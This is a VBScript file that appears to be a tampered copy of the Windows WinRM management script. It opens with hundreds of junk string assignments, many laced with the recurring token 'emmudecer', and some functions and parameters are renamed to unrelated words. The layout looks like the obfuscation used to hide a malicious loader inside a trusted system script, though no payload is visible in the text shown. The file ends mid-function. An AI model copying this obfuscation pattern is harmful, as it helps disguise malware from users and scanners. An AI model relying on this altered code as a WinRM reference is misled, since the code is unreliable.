mkLbhfbCizAUaik = "LZkGUPUUgtZbNmK"
dkWxZtCiLAizGGn = "odgkcHKCociTKib"
zoKZikRCUptghhK = "GGePiLfciPfkiZL"
LUfbZeHUUUNGhTG = "KiflCiJGWheqaLa"
cqaxHhhRKtrpOzx = "LPLWSlOjLPzaBGH"
zNiKHGKeNpKiNGP = "WzgxBxWAtfcLKoB"
KnKhcjiOAWIpGKo = "hUjcLciJLLhfqZN"
WWiqdiefhigonWo = "eHpekWLLiWmBkZU"
LcOcctGceZLGKKk = "mLehGBfmAccLUiA"
HokBsiUxBdoLmJA = "pfhfZntLielRiAG"
KQcQuObWNWfKiOt = "LZWoLiLGpbLWGLn"
kUALPxNWevzZkuc = "fLKLZLiAHoppAJo"
ZHreAdvLUmONCdW = "WbfpQUKpJJbnOhA"
UIbiiLpGWUzAmOz = "nKOPUchLiffWPfP"
KvLIiuGbGaHkBcl = "ilNKiAKkCoLWrIi"
eiuLfTfoemmudecergCUes = "kNcPaAKAzKNmLld"
bAKoqUGtaoxWhbL = "UhKqhKWfRiGjLzp"
iZaNHkULrGimLLG = "khiWiCRvKjZKUKc"
LoGzZtGLhNihWWp = "kaeieWoPnKpzfKK"
TxKRaiZGWGpdUSb = "pLrLfrLsLccKWic"
cqUSStqWnLcpZcN = "OLvedLxpLpibKtv"
hZkKQbfWzcfLoWm = "ZWpuhcHlOOgoLGc"
bflRWkAcLWWmLnL = "QbZGGKQUibOWmBW"
nRULWhHeoWfdiKt = "GGLANnZbWqLhhCx"
KeRhhsRWPZuGWnz = "pWWPkLWoKeWaWKc"
CKidUlPoikbibkP = "ALJGHznOUHLdKJk"
KLiaszzzWzIUUfq = "epAoUaenioqtLzL"
opvKISihCfAefpO = "PoqBmmLLNSKiecL"
SkALaZeLiANkzqq = "psldPiOJdiaLSpG"
ubzKWUGArkzpOUl = "KicLAjcfAzpzLcK"
cLRPZRIeALLfgaA = "ovekGnloeAzcfGe"
oKWxqzNmWLWpoUu = "jdWWzfGbcKZACaf"
KNUTecmtJfZuAPO = "ZpUhLNuWfbxGtcW"
eiKNeBNcWIgAdhe = "LkWGLJpohKlzPqU"
UKkfxSiLAWLpZjA = "KiGZmKLaKLfcuxL"
cpZLWliaGUliBWC = "QikNNGLfLURGUUb"
clsWPAcWhaqLWBK = "oKSWxckhibiUaLl"
okfogemmudecercLZPCWLU = "WWbzShiKIpRbWcd"
cUiBcNsKWLeflLe = "GakAzenBGPaOcIt"
hlxKAizgIbkJWKi = "RqNgcLWOcOLAoeL"
aKWmLfSxcWPZWkv = "gOmzCLdUhsfemmudecerPZ"
mCCCoGBcviRnpLd = "izzjjtZurzKUUgb"
zLkWSZUiCoNAvkz = "hBCjkUWLcKmqfeG"
pOtispNqnGUhWPK = "mNGiWokObLQeWkA"
iZLAGCsimiAbWkv = "npiNRkWqLLRrbAL"
tLPPhdtHcdJWeZm = "zGioWWAHQUzGAqn"
NpUqhbpmCUphhAO = "WciWkcPcaeJzxGp"
ieLqniWGvWcIcKR = "rfeLLbmNuLeUCOh"
GkiqZlPRdooLiLS = "UcWhGiWLqClSNWu"
LlKpovlpbgBfUWK = "qZmvchLkobHnNNg"
kRmaZSWlQWNmiiN = "pGcUcuUmhLGvRQR"
iPZckWLboBkGWKO = "xOaGuWBKuOzLmiP"
bLGkAKQNNQfLnGh = "HldvAlKBeBWtBmt"
KpBQcLejWUbCPKi = "hdAtjcGGxzULLCL"
couotcKWPHpktAL = "CfmPWWLuiKcBohL"
cjemmudecerGcmhhfnWhWK = "WOZaOpacKGOUoUU"
AhHSWSPemmudecerLlfBnL = "WWWiUKPipGfWoZf"
zWrbctuUGqKAcbW = "LuOCLShLNtLdbUL"
bvChNkLiiLLzpAI = "nLLOGKGokLiggLk"
AmWLcbNzhGGcfQo = "KszBUmmhiQmWWCl"
fAnkPmiSKNkbItm = "hWhzupuvWsGPcne"
qqLKzSGNULWeOQp = "bZcTBtWipPCWzOz"
eKoWunAUxtOJLLA = "KUpBkLiNkblLWOW"
bzmUieoLALLmmUA = "KlpfUfOoCdWceoO"
WLGccOWZxLobKGT = "xzbzcbfzIzatczi"
SuAJeiWNNBGWhNe = "WcJaUNkAbacNRLA"
iilZtWKWLzKIico = "LhLWzonpBgSLitk"
LOPicLhJjtGtJod = "NslfOxJCpUUAhUW"
NpWGUoIWIbWPLiO = "xkLagGBWWWGcLOo"
iGLWWknptGvkJpc = "KiaRxadGoNKWdTR"
UkNKfeqreiLAKbb = "qlJjUHecLWhGSkK"
ikSCfuGLhrLfNCs = "ivWlWtKLkutilqB"
qWNmKsiKemmudecerdGkhP = "zKmkfUUnokkGWsZ"
JGAWQPWUkekAaLm = "iWLbpWiHpLUupPo"
moUjNoNHLRcpGAL = "KhmWlCkktZqGLuL"
PILpCfLimPzbHit = "mNkWUfcKHvGLnZi"
NqbedWjfmJrLOkv = "obkvoWzieuRvoLO"
xLLtZfheCeCOPrP = "vxguCZochULLlHK"
WiupReLAGPUchoB = "LUiRxnCdoiAmiLe"
ILocaBLLLWKrquK = "KHWRPUipzLPUgBq"
GWcQepgxKGKLuLi = "bPWpcpgWAamCCWi"
AiLROfKGoLxHoqP = "zjKWfWzLbLlWheI"
dWfKkzecWBpBRqK = "sdmLHGWvLniWkbN"
WZhJWcicemmudecerpnLmU = "zHdHiSONiiqzUcL"
mmbJcAQWkcbbifl = "BcNdiLCmzfiKPmc"
urBhxGWAkBfKdWG = "KJdNdiWcKkpoUPZ"
izfPJLGbGUJZbcc = "LNrmiOOUzeqLWhq"
UGtKiinlqzaipLJ = "WtodvRiTGJjpJeG"
WcUfmGKPlWehLWK = "WbGQWWieoGeJzhl"
WLhGCOiSLoZBxdW = "QiduWzPcUcUUlcs"
OKLQKWbONiWWNKi = "WUoitfqbbCUzPKP"
xazTKGonUPqOZLh = "akvrZfNAUWfmOWB"
iNxSkieKolpCKTR = "cLLblNQGUPRmWpL"
AmbWfWciWWbRWpU = "LZlTBcprbqUBiNp"
NlGbgozkGbGxcqA = "zqdArkWKGGpWCRz"
eKdlCibSZdeBWon = "LtccGpOiKGNgdhG"
PPeHWOLosisUPxr = "AkcmLpUATQAzRkH"
ldSWvURkdKpLPcL = "dKNZKzikUTLpKsK"
KuLpWmfInKrzZiK = "CfPWztixoiRftLA"
vKUOGkWiniBuZRu = "oWJOJWkneGrglGL"
iONqGLNoLbbZiKW = "KbqhNhimKKtxcaA"
dWJUSLGAWopApGU = "igLAniLcpWLLNmq"
aCUWcbOfWleppcd = "ABkmHpKreGimJip"
zunGhPmqWPiQatN = "oLfnLlOnLKKkoeU"
ZLUhPmeKbLLgzbf = "IUGWLZWSiHllkQc"
WZibPKmcbWrithB = "WbBWeNvbWNKJUlL"
KldoirNWptGuBhW = "nQUiCciiLWAmGZj"
fPbfnhiKmKWLrkO = "hfmtBKPWLnnBLZU"
RtidZuNzGztqKki = "afHzqnmcWdueiLc"
QGxaoWhokoxizmm = "ioUBKWLlLgeWWuS"
UzNOGmAozLcWLaL = "hHRdPiLdgmmCKmx"
AeWdnWRWeWexKKL = "hLlPmTcLLfCfLhq"
ZcUWvznmcLcUZZk = "qUdKihkaLpIZcfx"
GUieqQGWkBJLRGu = "PznLRUWoZoKcBKT"
clZOojZhhWLLLeo = "LPkphbiHWWmelcc"
UxobGTlNsbhcKLR = "QxIceOUiULtoOUb"
aGmoUAcKcOLhLPe = "iLPPLIAjmpWzuiu"
ULLsbeZBLnbqcmK = "iKqkUcNhbhGWibH"
eSiHcZkqLWntBHd = "RbeqCncAOtLikLh"
LzuLkWbuxkTWZpL = "eoaReitWWjnOgdL"
cNoLbaLNfhnWLnG = "xLoosSOehOmsucL"
NGOokkoLGdbBNRW = "NxOGcxiKPuzbihd"
KIJZisKkiUWnLiz = "rpidKnLhZcKOUWL"
LxWgibKoLqOLLWC = "rPUerKAjWWpmAPu"
LGSiPWmoKnGKlic = "AqaotpLhRokGZUt"
LLWzqRoLLWQCCJN = "mbiNlUjhqKmWPBu"
UKcWWNqqILALorG = "vbddLPiLoLKWvKU"
cGLLPRLvNPWKKWK = "GqKGUWWbLpLALrL"
prWRxLLGWBNzgQN = "cTnsGAcLgRLrCLa"
nLmnkWzKKeOdWNb = "PoohkiCevxkidWL"
bNlirWdkWspncRo = "icaKoqUqCWNbRAO"
LPimLbWKGdLqgsp = "GWWZcZkWbWWUWzU"
WiichbRTiKCemmudecerWC = "LiqWlcKGOeZnGgp"
QLTAPGZoALWWNBU = "ifrPLNJpzpamWZx"
elPuWkNWiZhesbG = "acqPULeduWOWBzx"
uBUpncLnLLKpNht = "vJjbUWzSKGPjdKA"
ZLKeKpPAWWJbWKL = "WKAgBGkudqHoHLR"
GUnQkaiqHaHTkTC = "heZNoKNWxuKZWbi"
rWWTLHOLZoeixGi = "ivZnQknpLqrWmIL"
jNkGzoWKUWRnCAe = "WkKfjzHCdaCWtbf"
AKIofLWWWJGtRqk = "RqCeSbAGkziObWW"
vPAihklpGKiNrOg = "fiNoTPxpmGfkGkP"
KPLKrfNlIkcOdLe = "mOtSLbWcckGAWiK"
pzGxvQKGLNPLpNb = "LZGLmahZihPGiaL"
miUczUKIdGLWmkz = "hofuiKtmzLxWLvG"
ocpimkucWKGqWLh = "mkGrfAPUWshmWWa"
ALfULPLuUBbLnHG = "krLWuSzdkpJWdeg"
LnQBdOacWhLiWhh = "kPbzmWfmUheLiWL"
AqctoBGkOOQLGCi = "kfmoKcobpjARiLJ"
KPbGrkqAOLURPpf = "KuRmCWfoLhtiGiL"
KupLbJBnLGWLLiJ = "dCpKNRktZpUxGuL"
scemmudecerPLCcLaWoHLc = "fNPsmJueSLzihCp"
QqWeiGmiiZKWGfk = "xPRKZNZeLbTWvkK"
KKHAUGtRqukZdBh = "xWWcimGAxWkgKoN"
UuiOLWcUWfOqpWW = "aGWQiUWWiimkmkz"
cINkscNGtzWuWOB = "lLnhZAekUoLBkPn"
lrLZiiIGzlZQNSx = "bozJLAdUmkUdpQq"
sPZRnTdvlzdeKzW = "KKLoiBWGiGfiCmL"
LUicqhcChdsBGKL = "WpPqhdozAacOORR"
LsHUiuUxlQvtKAP = "qzxCWhNhKWkUlLp"
hWSGNfKWAkOkdBo = "mefCULALLiqZlPt"
lWoPZvJBIKWUKkt = "zUbxbjfvgooIHAN"
CApZQPWWuWmzbtK = "JiLaejPWKGqGhLW"
CiuZmnGcGGGLzWW = "mWkciZiPiksfQil"
URhhOloGQcLlCph = "pUrAPWGcKIAefWA"
gGLTLxnWQZiWRLg = "vWKLUKiqIAqKiCK"
pBqkqcCZvqnGZlA = "ivzbWPxpccoiScI"
cuRpKpfLWQbLPtl = "mPOUthezUomPzZz"
LLhaLUHqxcohqNK = "CLWWIoUkUcpGBhS"
NnAeGSWozLRWiWp = "xmoaLlcllnAqTWo"
iPZRLopRgbzUtaP = "fKNevLlWrkLfbaL"
liWnWKaRcfNCeWL = "uQiffCoGLzhLJLp"
ibenbcLWIqmTcic = "mKaGfKxhpLlepLa"
bWOcLeGLcfPdovZ = "pfLpfoRHshrNGhW"
GLKRUqaWTApxkuW = "sLOpaQimGCLbIGL"
LkOxWpPhccAifWm = "GeWBUKoWRKSScLi"
iPiPrhdWzCLLcuK = "WdZRGzzLZLLZAdK"
iiuxBiiTULizAqK = "mhemOmBWmLZLkKH"
sULQzbGudLZKvWk = "PnGKcWOhAtUuUNP"
CZIUeAGfPCWgaoA = "UiLoeuUckicGcxc"
UiGkcaSWoOBlRNe = "xbPUxKUNTJiGnJc"
cxWphAZKUkWbcaz = "neWRfheKAWuLfkL"
QcoPiGCrzbooBhl = "cLaCLNmGtouLkpR"
HxPzQmzzPNmzLLb = "vfOohUPtpBtootB"
WcLBremmudecerLuLzJHUU = "pLzZZbLAWdflOAp"
JizizLWhhArWpNu = "dLLtmWzapGdKiPb"
pHfWWLGceLGduzU = "zmIpLKWLTOcOtxc"
ciLLNWWGOWZfxGK = "NiooLtLkRuOuUqK"
NINfNehWLBWAicb = "WhWogzCGhzhNrpL"
euvrWhtLOKUecKW = "nbbtWkkNconmsQc"
clKfLKhxHKamPeL = "bcxoZALepzULWKR"
CbuktiGoTemfqRW = "kWziLUeiUezomiL"
cKihxoedJoWLpqR = "iepGcLuUtbnWcAo"
KLfauWpNiLiKILc = "UBWLhHQxUqWWnmK"
lGidWinmlKcfbWW = "GpQizixPBhiinCZ"
ZvgWbLpIfWCALmt = "UxKNxeUWKkcKPnz"
psUWmGKCUKfRGsd = "BcNpJQpRWWKKhlb"
WldLtToTLWOKCka = "RtpeteaGZNxmikl"
tUptgAccinCTbGU = "zUpLSZaWnbBpHbf"
UziWzoHgIxqcpkW = "cCinoAchRRxbfLL"
IiKSWdRSkOPCbAB = "UlLWRUuQtrUpcBo"
KRbQcmKemmudeceruuUOIU = "hfoWitRxUozSiUC"
eaRHGhkcJbLtJkc = "gqiLecPeNxmKScJ"
tGUdiWbzlkezQKk = "jhiGcCizcsInWRW"
LAuAGenOeUkcooz = "UtcAGeGWiNtNIGL"
iLzsBKUiuKeRBik = "hGUxPeWbOziQZpP"
imZUjoGLPbedWlK = "TsUqLKjtiKTxZhc"
ibZPPCBSzKtTAOQ = "IWoqiBPeWdKuLkc"
ccBteeKiqURcOmN = "ZlkKNqaLqhhiLti"
fLLWRceKWGccUhm = "kkKLkHszKsGljLc"
hkpcqLpKKhLdZdk = "aLqfckbWpaOKhip"
ilLRxaKdUqkLKWN = "ZbBlQxciuLHLvLp"
GssLeczCvGWkuxb = "imWAaumUibWzPZh"
JuGcRUcmZWfUiKP = "hLkRiizCnbtxkoU"
KvWcbLpgmciAOWi = "uLUKimWWGPKkLUr"
cxjppLzWWJUzJbf = "hWkLkLcfPiKaogL"
LkuKiCiWkLsWWOB = "anPiWUfGmipfIlW"
cfWJiCWRvuuqWRW = "zNRPLpGRpIcWikR"
CbxUcOemNglddRC = "cihLfzvljSdifgU"
pWOZHCnikzZicCa = "LeezcWkNoOQLJzL"
ihpbctSniZPcCLB = "kPHHZmWtBzuWWOt"
LcRzzZUcZzWcSKL = "plcSnGBWUBkeltP"
dWfZCcxLKOUULLO = "ZxfNPkhZhWWALcN"
mQseizioncPkocB = "pWOamZKdiZxfkAL"
NheAHoomGLuLGlu = "LGWBOLWGzzWpneA"
CdRglbLfnpOWGUW = "WmNiphOAORkPedR"
OJLkzkgLWLzbKPJ = "ZbemmudecerxzUkKKOzGSu"
cWWkiiWpCLjfLlh = "ATbWKiLfmGROues"
UkLPibiKLhpnBiT = "oLpUxxmfWhambWz"
LemrfqLUqoWiqpb = "KWUvvtWWipGBrOJ"
izhWLmSipKxZLAZ = "ajCiWaLdIaiKeec"
hAhpJhabvhGmTLU = "zNqULsuLoWnPcWd"
ZALWiWLiLWmLPdl = "ZioLhzBtiforfcQ"
PicpkLdLkkQIZWN = "WZrtlWqtobgsTUv"
bHKqGLLujKALLWK = "KRTWlqrKGzlcNbU"
IiuKacKUhbhxtjL = "moWqgNAlcfkmHGI"
LvetPZKUWiaxULC = "qlrcmoxdqKlpLnq"
fOpcOfUGClmKjJd = "fqAdkGhbWodAAWR"
WKWWWecWGZhgHiL = "GLGRLnfihTJpLGN"
lnlWZWzLkksNtKW = "kdCtkBhZzscWrtK"
LLhGpoLimmNfzcf = "BgoeALWlBpJemmudecerGU"
ZKWzLivodbWGWUi = "GckimiGGkUacrWG"
LKmLepbjoLmJZemmudecer = "BtKbLhechOgRdcg"
UKLlpRhGHjitWWW = "GUTLcLpocKzeaZG"
iprzCPWsxPemmudecerhcZ = "hdKoCctjKiUOZGo"
WoIChmIbLUnKoxL = "PjklWZhhAiKbNZP"
oCGUfRRUbiZpAbz = "jLmldLipOApkbsJ"
WpxiLCWuiuLGWzN = "ZHAjBcikpNkptcf"
aAsoffnGiHcZPLa = "zWZAKNGNRLpqAnW"
LfItZfGkGRQNmLu = "dckrGifWhzxCzIU"
ZoWAULOITZNWxLW = "oZtazOOLAOaWWUd"
uztnpeWknclcLtK = "eCzbeGzrLcRudul"
jkcmTpulrWicGBL = "ltRLLzfeoBmbCNK"
qiPWLLqSpKBLUPG = "GcOaiZTCUzLuueL"
KKhWkALnkRRgBWq = "qcJLiktocopsTjq"
LgheUNHkAxZajfu = "pkOUiZemmudeceroxlcNKi"
zAPQeGTjaAtbiWW = "cgigkBiqWWgALxc"
cGWnGpoksZUUZum = "pLOaaTKcWmmSiUR"
rWlemmudecerTLnPhukevi = "kmkbLkWoNmsuTkN"
ccJZUIibpGWGlkk = "LtPcWWAovmeLPnQ"
CdkbNfkfWuAAhRq = "LkiWGcLNxZlWqpO"
cCLLftAKPLoUxdW = "tLCcqtdZoWRiqui"
GgcdkegKAecKGLg = "WdWzzeNOkKNvnic"
GUeNHWKKeLiWCuz = "eUxcGCbhGmLWLib"
zizWKmKkNmGLLpl = "RLLWNbhKKiGKikd"
PeAAkUfpCKvpKuk = "iAsGbbLWKUzCAKh"
UWSLLmnoLzAKmmW = "samiUcUccUeLbWU"
fqRIssidkedWLbs = "nWpGWdpiLbqlWPe"
ZBttQtoxPdQKfiW = "cHdjcbokomRSSAW"
dWWodatpozLZGUe = "zgOsbzgiicGKUjL"
qAmcLxhWazuWCtr = "RWfukbpWWzzGcKL"
jiLLgOjLqKWhpiS = "cNACzBnxbekhGNm"
LtbRcpudLGGeAQP = "ALWpibWfLGKLHiO"
fjNxIBbLZWzJTLc = "KKGlteccRULWLkP"
mePUpLWcWBlbSpv = "sLBleiKKkWcLOKq"
BjLmLWGSuZiWloL = "qWKUWxGmLfbsGfL"
aNsiPGighLvqWQL = "ciWRncqWCZcqakP"
vbhohdLxbKkiLLW = "GcpLAOpkZfGWbWn"
WqepNWUkGGmZZGf = "TKUKGvKrUzceKbW"
WPoGWLoOclcWWGi = "sgsKklWGoxeziWk"
PGtWWhKRKpkNWeW = "RLmKLmGpfzxWhWf"
fAfQJQWzhLcGvPi = "ZvLqWBWLOvkxciL"
CKpCgxUNivcOAPG = "zdbLxzWLiWnZLPQ"
iWNxoszdZiKAqhQ = "mkZLALfWOoqkLgN"
iqpWuLkkpIqKLuJ = "enSmoGWxuWLcJlo"
iLLoLkoZLGZnQWC = "UmKOfbNKxvAiWdq"
QhpKiifLJttLjol = "ZmKhoxjbtGGcqiL"
GoWKhzAWUkmILeG = "GNGBWWKQUkJjLKi"
IerPGbLNiOtAkWK = "GmLTpCkGZGpWedN"
iiiztGBdRpmdiik = "mfLWKUKGdKnnICk"
eAZABUeUaSemmudecerCGW = "LRoIWKKWZPaxceL"
WaRcLiLzNuZWcLB = "GGhkltPLamcqOhU"
iqtcRcUdZLQWLcj = "aLcoakuZWilWdLK"
mKLxzBKtBoKiKpW = "GhJGlGGGWIWbcWL"
PmmpikWRUBeOkfa = "LBzivUKpLoTpWcU"
TNeWHLLAdkRoHla = "iWzfxNHhWTdhZdk"
klLkliWAuKKGJtm = "ocpKLbvLzmLoqgU"
iKKLcAvGWKNGzrG = "ppdNbpWvnLZUmbL"
WWHJuSLhGBKALjU = "GLiUlKTqbhKxfKW"
KCKiAUiGALZiWei = "zKlQAbWzGaxzicc"
OiifojhfkgzbSeN = "LoChLjRLoWqiCjn"
LWRdGBWWillZhPK = "tLRkPpIPkcUboSa"
LWKlLLIULcgLWpN = "RKcKiuLnPWCWbpz"
pWUKoaBbWGRoWej = "TiLBcmJWkOQchiC"
LLftfQjJbcKlWvk = "HhGCGikgoWnkGLA"
rLLLWUiPRLLukSu = "WGWUcdWZvpINepj"
KLWZCCKWKpuGmmk = "SLhmOjGddaKucKo"
iKKUSNIiZbHlPNK = "hubLWGaPWTtfUPa"
NSUKCffhGbGhGou = "hkcTxKaZphmddWG"
TemmudecerGPnleGktLBOR = "qQatpjKALeLLPrK"
vIkzpRlPiOLPeKi = "LNALPcKLskGWSkb"
NdRKJKbPABiPLev = "LNWmkqNuZxeLgcN"
eapLkCLAIoGcLnO = "KKfiGALfAbdPKKr"
kGfcqxdSWvWLLnL = "LUcPioKcbOPUsUQ"
PLWpCPliWWcAhoe = "WLoLRsGKkKLGkWS"
ohemmudecerdlkvxRLLkZz = "GRxWLCjzLUezWSo"
GZWehPRCPUJbKzG = "ioaJxkLGthxWGLG"
cfGAWCoihliGpfz = "buvmIZfLUmPUcfL"
CrLWNmbRuCxLPob = "RLOoAaBhbiemkLz"
ikIcUZhqcUppkda = "oWkLubUGGcQAduG"
zencuuHCxKxGbhL = "LAeLuGezmWaUCSq"
xoiklWoUGxlZBnL = "WarWLhGrLjWLGdi"
eelGiWLWLRbeTBH = "ufsiLbfULLcGkBS"
lmilWsNOeoRsUWk = "kQWWRLlBRKQmPRS"
GGLskpjxGfKgCou = "ejZLWnNBLHAxpWm"
iKLHoaQGWmCWGrO = "htGooWCKkhqGWWh"
BUWNZLWzheKKLeC = "xhsQNtWzAWWCina"
ZLWNpntWTfmTxpl = "zufThLvtJAcJofo"
LWPofLcKCWnkfLO = "pWbOxiLbNdkWifB"
odUNfknLLiUiGLl = "pWakazKjgWfuZKf"
cLibiLPiNGmuiKk = "inKLtpALUeduxGL"
pipNcGfiCndiZqp = "xWCmBnWocWcAGIc"
bKWWbhsNkWLTbKk = "LOfWRibLGjGcAWL"
iAoWcNJGUiOKdOK = "jGemmudecerketqhqiWRbo"
'''''''''''''''''''''
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,volva)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = volva.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(volva.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = volva.Argument(NPARA_FRAGMENT)
end if
if(volva.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = volva.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function oligotrophia()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
oligotrophia = True
else
oligotrophia = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, volva, resourceLocator,alcaidinaObj,inputStr,symbiose)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = volva.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if volva.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(volva.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
